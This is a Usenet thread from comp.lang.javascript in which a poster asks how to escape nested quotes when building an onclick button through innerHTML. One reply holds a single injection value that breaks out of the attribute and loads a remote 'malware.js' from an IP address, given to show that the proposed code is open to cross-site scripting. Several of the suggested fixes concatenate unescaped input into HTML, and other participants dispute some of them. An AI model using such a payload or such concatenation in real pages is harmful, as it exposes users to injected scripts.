Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > comp.lang.javascript > #31805 > unrolled thread

How to deal with "messy" quotes?

Started byjustaguy <lichunshen84@gmail.com>
First post2016-12-11 16:23 -0800
Last post2016-12-12 20:50 +0100
Articles 20 on this page of 22 — 4 participants

Back to article view | Back to comp.lang.javascript

Contents

  How to deal with "messy" quotes? justaguy <lichunshen84@gmail.com> - 2016-12-11 16:23 -0800
    Re: How to deal with "messy" quotes? JJ <jj4public@vfemail.net> - 2016-12-12 12:42 +0700
      Re: How to deal with "messy" quotes? justaguy <lichunshen84@gmail.com> - 2016-12-12 09:56 -0800
        Re: How to deal with "messy" quotes? JJ <jj4public@vfemail.net> - 2016-12-13 18:18 +0700
          Re: How to deal with "messy" quotes? JJ <jj4public@vfemail.net> - 2016-12-13 18:22 +0700
            Re: How to deal with "messy" quotes? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-12-13 13:10 +0100
      Re: How to deal with "messy" quotes? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-12-12 20:43 +0100
    Re: How to deal with "messy" quotes? <cyber@example.com> - 2016-12-12 17:53 +0000
      Re: How to deal with "messy" quotes? justaguy <lichunshen84@gmail.com> - 2016-12-12 10:05 -0800
        Re: How to deal with "messy" quotes? <cyber@example.com> - 2016-12-12 18:15 +0000
          Re: How to deal with "messy" quotes? justaguy <lichunshen84@gmail.com> - 2016-12-12 14:10 -0800
            Re: How to deal with "messy" quotes? justaguy <lichunshen84@gmail.com> - 2016-12-12 16:56 -0800
              Re: How to deal with "messy" quotes? <cyber@example.com> - 2016-12-13 11:49 +0000
                Re: How to deal with "messy" quotes? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-12-13 13:17 +0100
                  Re: How to deal with "messy" quotes? <cyber@example.com> - 2016-12-13 18:32 +0000
                    Re: How to deal with "messy" quotes? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-12-13 19:47 +0100
                      Re: How to deal with "messy" quotes? <cyber@example.com> - 2016-12-13 19:43 +0000
                        Re: How to deal with "messy" quotes? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-12-14 12:24 +0100
                Re: How to deal with "messy" quotes? justaguy <lichunshen84@gmail.com> - 2016-12-13 17:07 -0800
      Re: How to deal with "messy" quotes? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-12-12 21:19 +0100
        Re: How to deal with "messy" quotes? justaguy <lichunshen84@gmail.com> - 2016-12-12 12:51 -0800
    Re: How to deal with "messy" quotes? Thomas 'PointedEars' Lahn <PointedEars@web.de> - 2016-12-12 20:50 +0100

Page 1 of 2  [1] 2  Next page →

#31805 — How to deal with "messy" quotes?

Fromjustaguy <lichunshen84@gmail.com>
Date2016-12-11 16:23 -0800
SubjectHow to deal with "messy" quotes?
Message-ID<e02b3e17-0584-4751-ac26-28897820e1c2@googlegroups.com>
HTML:
<html>
<body>
<span id="nav"></span>
</body>
</html>

JavaScript:
<script>

var s = document.getElementById('nav'),
	num = 0,
	fn = " a new field name ";	
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/  
s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";

var newFN = function(f,n) {
	console.log(f,n);
	}	
	
 </script>
 
 Intention:
 for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters

 Problem:
 Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
 
 Thanks.

[toc] | [next] | [standalone]

#31809

FromJJ <jj4public@vfemail.net>
Date2016-12-12 12:42 +0700
Message-ID<1t06petyfg1wr.t3tve8utmbrg.dlg@40tude.net>
In reply to#31805
On Sun, 11 Dec 2016 16:23:46 -0800 (PST), justaguy wrote:
> HTML:
> <html>
> <body>
> <span id="nav"></span>
> </body>
> </html>
> 
> JavaScript:
> <script>
> 
> var s = document.getElementById('nav'),
> 	num = 0,
> 	fn = " a new field name ";	
> /* in my actual code, the var s represent an element dynamically created
> but to get key point across I'm using static element here
> */  
> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> 
> var newFN = function(f,n) {
> 	console.log(f,n);
> 	}	
> 	
>  </script>
>  
>  Intention:
>  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> 
>  Problem:
>  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
>  
>  Thanks.

Make a rule for yourself.

For me, I always use double quotes (") for HTML and JavaScript codes since
CSS requires double quote to be the quote character.

The only exception is when assigning HTML code into `innerHTML`/`outerHTML`
properties where I'll use single quotes ('). If the HTML code happens to
require single quotes too, I'll escape them. e.g.:

  ele.innerHTML = '<span class="notice">There\'s an input error</b>';

[toc] | [prev] | [next] | [standalone]

#31817

Fromjustaguy <lichunshen84@gmail.com>
Date2016-12-12 09:56 -0800
Message-ID<d6b728dd-d4e5-464f-b75a-38a11ec602ae@googlegroups.com>
In reply to#31809
On Monday, December 12, 2016 at 12:42:54 AM UTC-5, JJ wrote:
> On Sun, 11 Dec 2016 16:23:46 -0800 (PST), justaguy wrote:
> > HTML:
> > <html>
> > <body>
> > <span id="nav"></span>
> > </body>
> > </html>
> > 
> > JavaScript:
> > <script>
> > 
> > var s = document.getElementById('nav'),
> > 	num = 0,
> > 	fn = " a new field name ";	
> > /* in my actual code, the var s represent an element dynamically created
> > but to get key point across I'm using static element here
> > */  
> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> > 
> > var newFN = function(f,n) {
> > 	console.log(f,n);
> > 	}	
> > 	
> >  </script>
> >  
> >  Intention:
> >  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> > 
> >  Problem:
> >  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> >  
> >  Thanks.
> 
> Make a rule for yourself.
> 
> For me, I always use double quotes (") for HTML and JavaScript codes since
> CSS requires double quote to be the quote character.
> 
> The only exception is when assigning HTML code into `innerHTML`/`outerHTML`
> properties where I'll use single quotes ('). If the HTML code happens to
> require single quotes too, I'll escape them. e.g.:
> 
>   ele.innerHTML = '<span class="notice">There\'s an input error</b>';

Ok. So, which quotes do I need to escape in this case?

I attempted to change
s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
to
s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
by escape the 1 double quotes before a comma.
The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.

Thanks.

[toc] | [prev] | [next] | [standalone]

#31830

FromJJ <jj4public@vfemail.net>
Date2016-12-13 18:18 +0700
Message-ID<1hjtnhdw0tnxz$.22ot185piytd.dlg@40tude.net>
In reply to#31817
On Mon, 12 Dec 2016 09:56:48 -0800 (PST), justaguy wrote:
> 
> Ok. So, which quotes do I need to escape in this case?
> 
> I attempted to change
> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> to
> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
> by escape the 1 double quotes before a comma.
> The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.
> 
> Thanks.

Let's shorten and focus on this particular part of the code:

  "<input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"

Separating by the (") characters, when it's formatted, it would end up as:

  "<input type='button' value='x' onclick = 'newFN(" //string
  +                                                  //operator
  fn                                                 //variable
  +                                                  //operator
  " + "                                              //string
  ,                                                  //operator
  " +num+);'>"                                       //string

Which has incorrect syntax since the comma end up as a JavaScript operator,
instead of a string.

To ease writing confusing code, format it like above first. And since `fn`
is a string, it must be quoted also (otherwise, `fn` contents will be used
as an expression). Keep in mind that we're createing a HTML code, so the
quotes for the JavaScript code in the `onclick` attribute must be escaped at
HTML level. e.g.:

 '<input type="button" value="x" onclick = "newFN(&#39;' //string
 +                                                       //operator
 fn                                                      //string
 +                                                       //operator
 '&#39;, '                                               //string
 +                                                       //operator
 num                                                     //number
 +                                                       //operator
 ');">';                                                 //string

Here, I'm using (') for the JavaScript quote and (") for the HTML code
because even if I were to use the quotes the other way around, the browser
will convert (') to (").

[toc] | [prev] | [next] | [standalone]

#31831

FromJJ <jj4public@vfemail.net>
Date2016-12-13 18:22 +0700
Message-ID<1lvtos1qilkb$.lqvx13iowhxm.dlg@40tude.net>
In reply to#31830
On Tue, 13 Dec 2016 18:18:36 +0700, JJ wrote:

> On Mon, 12 Dec 2016 09:56:48 -0800 (PST), justaguy wrote:
>> 
>> Ok. So, which quotes do I need to escape in this case?
>> 
>> I attempted to change
>> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
>> to
>> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>";
>> by escape the 1 double quotes before a comma.
>> The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect.
>> 
>> Thanks.
> 
> Let's shorten and focus on this particular part of the code:
> 
>   "<input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"
> 
> Separating by the (") characters, when it's formatted, it would end up as:
> 
>   "<input type='button' value='x' onclick = 'newFN(" //string
>   +                                                  //operator
>   fn                                                 //variable
>   +                                                  //operator
>   " + "                                              //string
>   ,                                                  //operator
>   " +num+);'>"                                       //string
> 
> Which has incorrect syntax since the comma end up as a JavaScript operator,
> instead of a string.
> 
> To ease writing confusing code, format it like above first. And since `fn`
> is a string, it must be quoted also (otherwise, `fn` contents will be used
> as an expression). Keep in mind that we're createing a HTML code, so the
> quotes for the JavaScript code in the `onclick` attribute must be escaped at
> HTML level. e.g.:
> 
>  '<input type="button" value="x" onclick = "newFN(&#39;' //string
>  +                                                       //operator
>  fn                                                      //string
>  +                                                       //operator
>  '&#39;, '                                               //string
>  +                                                       //operator
>  num                                                     //number
>  +                                                       //operator
>  ');">';                                                 //string
> 
> Here, I'm using (') for the JavaScript quote and (") for the HTML code
> because even if I were to use the quotes the other way around, the browser
> will convert (') to (").

So, the complete code should be:

  s.innerHTML =
    '&nbsp; ' + fn +
    '<input type="button" value="x" onclick = "newFN(&#39;' +
    fn + '&#39;, ' + num + ');">';

[toc] | [prev] | [next] | [standalone]

#31833

FromThomas 'PointedEars' Lahn <PointedEars@web.de>
Date2016-12-13 13:10 +0100
Message-ID<1647578.tdWV9SEqCh@PointedEars.de>
In reply to#31831
JJ wrote:

  var fn = '&#39;)"><script src="https://123.45.67.8/malware.js"></script>';

>   s.innerHTML =
>     '&nbsp; ' + fn +
>     '<input type="button" value="x" onclick = "newFN(&#39;' +
>     fn + '&#39;, ' + num + ');">';

-- 
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.

[toc] | [prev] | [next] | [standalone]

#31821

FromThomas 'PointedEars' Lahn <PointedEars@web.de>
Date2016-12-12 20:43 +0100
Message-ID<1748120.PIDvDuAF1L@PointedEars.de>
In reply to#31809
JJ wrote:

> For me, I always use double quotes (") for HTML and JavaScript codes since
> CSS requires double quote to be the quote character.

Then you are proceeding from a false assumption:

<https://www.w3.org/TR/css-syntax-3/#consume-a-token0>
 
> The only exception is when assigning HTML code into
> `innerHTML`/`outerHTML` properties where I'll use single quotes ('). If
> the HTML code happens to require single quotes too, I'll escape them.
> e.g.:
> 
>   ele.innerHTML = '<span class="notice">There\'s an input error</b>';

The resulting markup would not be valid: you have started a “span” element 
and ended a “b” element.

-- 
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.

[toc] | [prev] | [next] | [standalone]

#31816

From<cyber@example.com>
Date2016-12-12 17:53 +0000
Message-ID<zuB3A.371253$kM7.70526@fx44.am4>
In reply to#31805
justaguy <lichunshen84@gmail.com> wrote:
> 
> HTML:
> <html>
> <body>
> <span id="nav"></span>
> </body>
> </html>
> 
> JavaScript:
> <script>
> 
> var s = document.getElementById('nav'),
>         num = 0,
>         fn = " a new field name ";      
> /* in my actual code, the var s represent an element dynamically created
> but to get key point across I'm using static element here
> */  
> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> 
> var newFN = function(f,n) {
>         console.log(f,n);
>         }       
>         
>  </script>
>  
>  Intention:
>  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> 
>  Problem:
>  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
>  
>  Thanks.

This should work:

<html>
<body>
<span id="nav"></span>
<script>

var s = document.getElementById('nav'),
  num = 0,
  fn = " a new field name ";
/* in my actual code, the var s represent an element dynamically created
but to get key point across I'm using static element here
*/
s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";

var newFN = function(f,n) {
  console.log(f,n);
  }

 </script>

</body>
</html>

You can make quotes within quotes by escaping them using \.
This way you can pass the arguments as strings.

-- 
 _________________________ 
/          _              \
|  __ _  _| |__  ___ _ _  |
| / _| || | '_ \/ -_) '_| |
| \__|\_, |_.__/\___|_|   |
\     |__/                /
 ------------------------- 
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

[toc] | [prev] | [next] | [standalone]

#31818

Fromjustaguy <lichunshen84@gmail.com>
Date2016-12-12 10:05 -0800
Message-ID<da86b656-3c71-4d67-bb56-26661b51ab61@googlegroups.com>
In reply to#31816
On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
> justaguy <> wrote:
> > 
> > HTML:
> > <html>
> > <body>
> > <span id="nav"></span>
> > </body>
> > </html>
> > 
> > JavaScript:
> > <script>
> > 
> > var s = document.getElementById('nav'),
> >         num = 0,
> >         fn = " a new field name ";      
> > /* in my actual code, the var s represent an element dynamically created
> > but to get key point across I'm using static element here
> > */  
> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> > 
> > var newFN = function(f,n) {
> >         console.log(f,n);
> >         }       
> >         
> >  </script>
> >  
> >  Intention:
> >  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> > 
> >  Problem:
> >  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> >  
> >  Thanks.
> 
> This should work:
> 
> <html>
> <body>
> <span id="nav"></span>
> <script>
> 
> var s = document.getElementById('nav'),
>   num = 0,
>   fn = " a new field name ";
> /* in my actual code, the var s represent an element dynamically created
> but to get key point across I'm using static element here
> */
> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
> 
> var newFN = function(f,n) {
>   console.log(f,n);
>   }
> 
>  </script>
> 
> </body>
> </html>

Getting close except that the num var value has not been passed down.  And since it's a number we don't need quotes for it as a parameter value.  Thanks.

[toc] | [prev] | [next] | [standalone]

#31819

From<cyber@example.com>
Date2016-12-12 18:15 +0000
Message-ID<VOB3A.181572$eh.139780@fx08.am4>
In reply to#31818
justaguy <lichunshen84@gmail.com> wrote:
> On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
>> justaguy <> wrote:
>> > 
>> > HTML:
>> > <html>
>> > <body>
>> > <span id="nav"></span>
>> > </body>
>> > </html>
>> > 
>> > JavaScript:
>> > <script>
>> > 
>> > var s = document.getElementById('nav'),
>> >         num = 0,
>> >         fn = " a new field name ";      
>> > /* in my actual code, the var s represent an element dynamically created
>> > but to get key point across I'm using static element here
>> > */  
>> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
>> > 
>> > var newFN = function(f,n) {
>> >         console.log(f,n);
>> >         }       
>> >         
>> >  </script>
>> >  
>> >  Intention:
>> >  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
>> > 
>> >  Problem:
>> >  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
>> >  
>> >  Thanks.
>> 
>> This should work:
>> 
>> <html>
>> <body>
>> <span id="nav"></span>
>> <script>
>> 
>> var s = document.getElementById('nav'),
>>   num = 0,
>>   fn = " a new field name ";
>> /* in my actual code, the var s represent an element dynamically created
>> but to get key point across I'm using static element here
>> */
>> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
>> 
>> var newFN = function(f,n) {
>>   console.log(f,n);
>>   }
>> 
>>  </script>
>> 
>> </body>
>> </html>
> 
> Getting close except that the num var value has not been passed down.  And since it's a number we don't need quotes for it as a parameter value.  Thanks.
> 

This should pass the num variable:
s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";

[toc] | [prev] | [next] | [standalone]

#31827

Fromjustaguy <lichunshen84@gmail.com>
Date2016-12-12 14:10 -0800
Message-ID<5d7849ff-803f-44bf-a64a-f51f7df741ab@googlegroups.com>
In reply to#31819
On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote:
> justaguy <> wrote:
> > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
> >> justaguy <> wrote:
> >> > 
> >> > HTML:
> >> > <html>
> >> > <body>
> >> > <span id="nav"></span>
> >> > </body>
> >> > </html>
> >> > 
> >> > JavaScript:
> >> > <script>
> >> > 
> >> > var s = document.getElementById('nav'),
> >> >         num = 0,
> >> >         fn = " a new field name ";      
> >> > /* in my actual code, the var s represent an element dynamically created
> >> > but to get key point across I'm using static element here
> >> > */  
> >> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> >> > 
> >> > var newFN = function(f,n) {
> >> >         console.log(f,n);
> >> >         }       
> >> >         
> >> >  </script>
> >> >  
> >> >  Intention:
> >> >  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> >> > 
> >> >  Problem:
> >> >  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> >> >  
> >> >  Thanks.
> >> 
> >> This should work:
> >> 
> >> <html>
> >> <body>
> >> <span id="nav"></span>
> >> <script>
> >> 
> >> var s = document.getElementById('nav'),
> >>   num = 0,
> >>   fn = " a new field name ";
> >> /* in my actual code, the var s represent an element dynamically created
> >> but to get key point across I'm using static element here
> >> */
> >> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
> >> 
> >> var newFN = function(f,n) {
> >>   console.log(f,n);
> >>   }
> >> 
> >>  </script>
> >> 
> >> </body>
> >> </html>
> > 
> > Getting close except that the num var value has not been passed down.  And since it's a number we don't need quotes for it as a parameter value.  Thanks.
> > 
> 
> This should pass the num variable:
> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";

Somehow I missed your response.

Yeah, it does, but with the + sign in front of it.  And I removed it, so, the code is now:
s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";

It works perfectly.  Thank you.

[toc] | [prev] | [next] | [standalone]

#31828

Fromjustaguy <lichunshen84@gmail.com>
Date2016-12-12 16:56 -0800
Message-ID<71de1dbd-1779-4131-8c68-4c9d6e01d774@googlegroups.com>
In reply to#31827
On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote:
> > justaguy <> wrote:
> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
> > >> justaguy <> wrote:
> > >> > 
> > >> > HTML:
> > >> > <html>
> > >> > <body>
> > >> > <span id="nav"></span>
> > >> > </body>
> > >> > </html>
> > >> > 
> > >> > JavaScript:
> > >> > <script>
> > >> > 
> > >> > var s = document.getElementById('nav'),
> > >> >         num = 0,
> > >> >         fn = " a new field name ";      
> > >> > /* in my actual code, the var s represent an element dynamically created
> > >> > but to get key point across I'm using static element here
> > >> > */  
> > >> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> > >> > 
> > >> > var newFN = function(f,n) {
> > >> >         console.log(f,n);
> > >> >         }       
> > >> >         
> > >> >  </script>
> > >> >  
> > >> >  Intention:
> > >> >  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> > >> > 
> > >> >  Problem:
> > >> >  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> > >> >  
> > >> >  Thanks.
> > >> 
> > >> This should work:
> > >> 
> > >> <html>
> > >> <body>
> > >> <span id="nav"></span>
> > >> <script>
> > >> 
> > >> var s = document.getElementById('nav'),
> > >>   num = 0,
> > >>   fn = " a new field name ";
> > >> /* in my actual code, the var s represent an element dynamically created
> > >> but to get key point across I'm using static element here
> > >> */
> > >> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
> > >> 
> > >> var newFN = function(f,n) {
> > >>   console.log(f,n);
> > >>   }
> > >> 
> > >>  </script>
> > >> 
> > >> </body>
> > >> </html>
> > > 
> > > Getting close except that the num var value has not been passed down.  And since it's a number we don't need quotes for it as a parameter value.  Thanks.
> > > 
> > 
> > This should pass the num variable:
> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
> 
> Somehow I missed your response.
> 
> Yeah, it does, but with the + sign in front of it.  And I removed it, so, the code is now:
> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
> 
> It works perfectly.  Thank you.

Ok, now I have a new requirement, that is, to add an ID to the button.
the value of the ID is made of a string and a number.

The following code still hasn't escaped some quotes.  How to fix it?  Thanks.

var s2;
s2 = "&nbsp;" 
     + fn +  
     " <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";

[toc] | [prev] | [next] | [standalone]

#31832

From<cyber@example.com>
Date2016-12-13 11:49 +0000
Message-ID<FfR3A.215307$223.44894@fx20.am4>
In reply to#31828
justaguy <lichunshen84@gmail.com> wrote:
> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote:
>> > justaguy <> wrote:
>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
>> > >> justaguy <> wrote:
>> > >> > 
>> > >> > HTML:
>> > >> > <html>
>> > >> > <body>
>> > >> > <span id="nav"></span>
>> > >> > </body>
>> > >> > </html>
>> > >> > 
>> > >> > JavaScript:
>> > >> > <script>
>> > >> > 
>> > >> > var s = document.getElementById('nav'),
>> > >> >         num = 0,
>> > >> >         fn = " a new field name ";      
>> > >> > /* in my actual code, the var s represent an element dynamically created
>> > >> > but to get key point across I'm using static element here
>> > >> > */  
>> > >> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
>> > >> > 
>> > >> > var newFN = function(f,n) {
>> > >> >         console.log(f,n);
>> > >> >         }       
>> > >> >         
>> > >> >  </script>
>> > >> >  
>> > >> >  Intention:
>> > >> >  for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
>> > >> > 
>> > >> >  Problem:
>> > >> >  Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
>> > >> >  
>> > >> >  Thanks.
>> > >> 
>> > >> This should work:
>> > >> 
>> > >> <html>
>> > >> <body>
>> > >> <span id="nav"></span>
>> > >> <script>
>> > >> 
>> > >> var s = document.getElementById('nav'),
>> > >>   num = 0,
>> > >>   fn = " a new field name ";
>> > >> /* in my actual code, the var s represent an element dynamically created
>> > >> but to get key point across I'm using static element here
>> > >> */
>> > >> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
>> > >> 
>> > >> var newFN = function(f,n) {
>> > >>   console.log(f,n);
>> > >>   }
>> > >> 
>> > >>  </script>
>> > >> 
>> > >> </body>
>> > >> </html>
>> > > 
>> > > Getting close except that the num var value has not been passed down.  And since it's a number we don't need quotes for it as a parameter value.  Thanks.
>> > > 
>> > 
>> > This should pass the num variable:
>> > s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
>> 
>> Somehow I missed your response.
>> 
>> Yeah, it does, but with the + sign in front of it.  And I removed it, so, the code is now:
>> s.innerHTML = "&nbsp;" + fn +  " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
>> 
>> It works perfectly.  Thank you.
> 
> Ok, now I have a new requirement, that is, to add an ID to the button.
> the value of the ID is made of a string and a number.
> 
> The following code still hasn't escaped some quotes.  How to fix it?  Thanks.
> 
> var s2;
> s2 = "&nbsp;" 
>      + fn +  
>      " <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>"; 

This should work:

s2.innerHTML = "&nbsp;"
  + fn +
	" <input type='button' id='NewEl"+num+"' value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";

If NewEl is meant to be the string "NewEl" then you need to put it between quotes or else it will be be
interpreted as a variable.
And num and the + operator should be outside the quotes since num is meant to be a variable and +
is meant to be the concatenation operator, but if you put them between quotes they will just be
seen as being the strings "num" and "+" respectively.

BTW the s2 button would call newFN while leaving n undefined so that parameter could be removed.

[toc] | [prev] | [next] | [standalone]

#31834

FromThomas 'PointedEars' Lahn <PointedEars@web.de>
Date2016-12-13 13:17 +0100
Message-ID<1903833.irdbgypaU6@PointedEars.de>
In reply to#31832
cyber@example.com wrote:

> justaguy <lichunshen84@gmail.com> wrote:
>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>> wrote:
>>> > justaguy <> wrote:
>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com
>>> > > wrote:
>>> > >> var newFN = function(f,n) {
                              ^^^
>>> > >>   console.log(f,n);
>>> > >>   }
> […]
> This should work:
> 
> s2.innerHTML = "&nbsp;"
>   + fn +
> " <input type='button' id='NewEl"+num+"' value='x' onclick =
  ^                               ^
> 'newFN(\""+fn+"\" + "+num+");'>";
                ^^^^^^^^^^^^^^
It does not.  (The value of) “num” has to be (the value of) the *second* 
argument to newFN().
 
> If NewEl is meant to be the string "NewEl" then you need to put it between
> quotes or else it will be be interpreted as a variable.
> And num and the + operator should be outside the quotes since num is meant
> to be a variable and + is meant to be the concatenation operator, but if
> you put them between quotes they will just be seen as being the strings
> "num" and "+" respectively.
> 
> BTW the s2 button would call newFN while leaving n undefined so that
> parameter could be removed.

What a load of nonsense.  Blind leading the blind.

-- 
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.

[toc] | [prev] | [next] | [standalone]

#31841

From<cyber@example.com>
Date2016-12-13 18:32 +0000
Message-ID<v9X3A.374775$kM7.66678@fx44.am4>
In reply to#31834
Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
> cyber@example.com wrote:
> 
>> justaguy <lichunshen84@gmail.com> wrote:
>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>>> wrote:
>>>> > justaguy <> wrote:
>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com
>>>> > > wrote:
>>>> > >> var newFN = function(f,n) {
>                               ^^^
>>>> > >>   console.log(f,n);
>>>> > >>   }
>> […]
>> This should work:
>> 
>> s2.innerHTML = "&nbsp;"
>>   + fn +
>> " <input type='button' id='NewEl"+num+"' value='x' onclick =
>   ^                               ^
>> 'newFN(\""+fn+"\" + "+num+");'>";
>                 ^^^^^^^^^^^^^^
> It does not.  (The value of) “num” has to be (the value of) the *second* 
> argument to newFN().
> 

It does work. In javascript parameters default to undefined so if newFN
is called with only 1 argument then it will work and the second parameter
will be set to undefined.

[toc] | [prev] | [next] | [standalone]

#31842

FromThomas 'PointedEars' Lahn <PointedEars@web.de>
Date2016-12-13 19:47 +0100
Message-ID<6635730.EvYhyI6sBW@PointedEars.de>
In reply to#31841
cyber@example.com wrote:

> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
>> cyber@example.com wrote:
>>> justaguy <lichunshen84@gmail.com> wrote:
>>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
